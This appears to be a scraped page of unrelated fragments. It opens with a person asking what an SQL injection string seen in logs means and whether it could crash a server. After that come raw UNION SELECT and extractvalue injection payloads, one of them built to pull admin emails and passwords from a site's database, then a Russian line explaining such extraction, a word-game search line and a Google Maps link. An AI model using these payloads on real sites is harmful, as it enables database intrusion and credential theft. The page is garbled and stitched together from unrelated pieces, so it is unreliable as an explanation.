What I would like to know why "999999.9", what is "0x39313335313435363237322e39". When this attack works what information would the hackers have or edits would they have done to the database. Last could this attack run over and over again bring down/crash the server?
-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
...site.net/lt/y.php?t=999999.9'+union+all+select+0x31303235343830303536,(select+concat(0x7e,0x27,unhex(Hex(cast(a_admin.email+as+char))),0x5e,unhex(Hex(cast(a_admin.password+as+char))),0x5e
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Если злоумышленник передаст в качестве параметра id конструкцию -1 UNION SELECT 1,username, password,1 FROM admin, это вызовет выполнение SQL-запроса.
Word Spark search letters: Llc)+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL
خرائط Google https://www.google.com.sa/maps/@29.7746437,39.8515482,6566a,20y,40.61t/data=!3m1!1e3?hl=ar.
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)).
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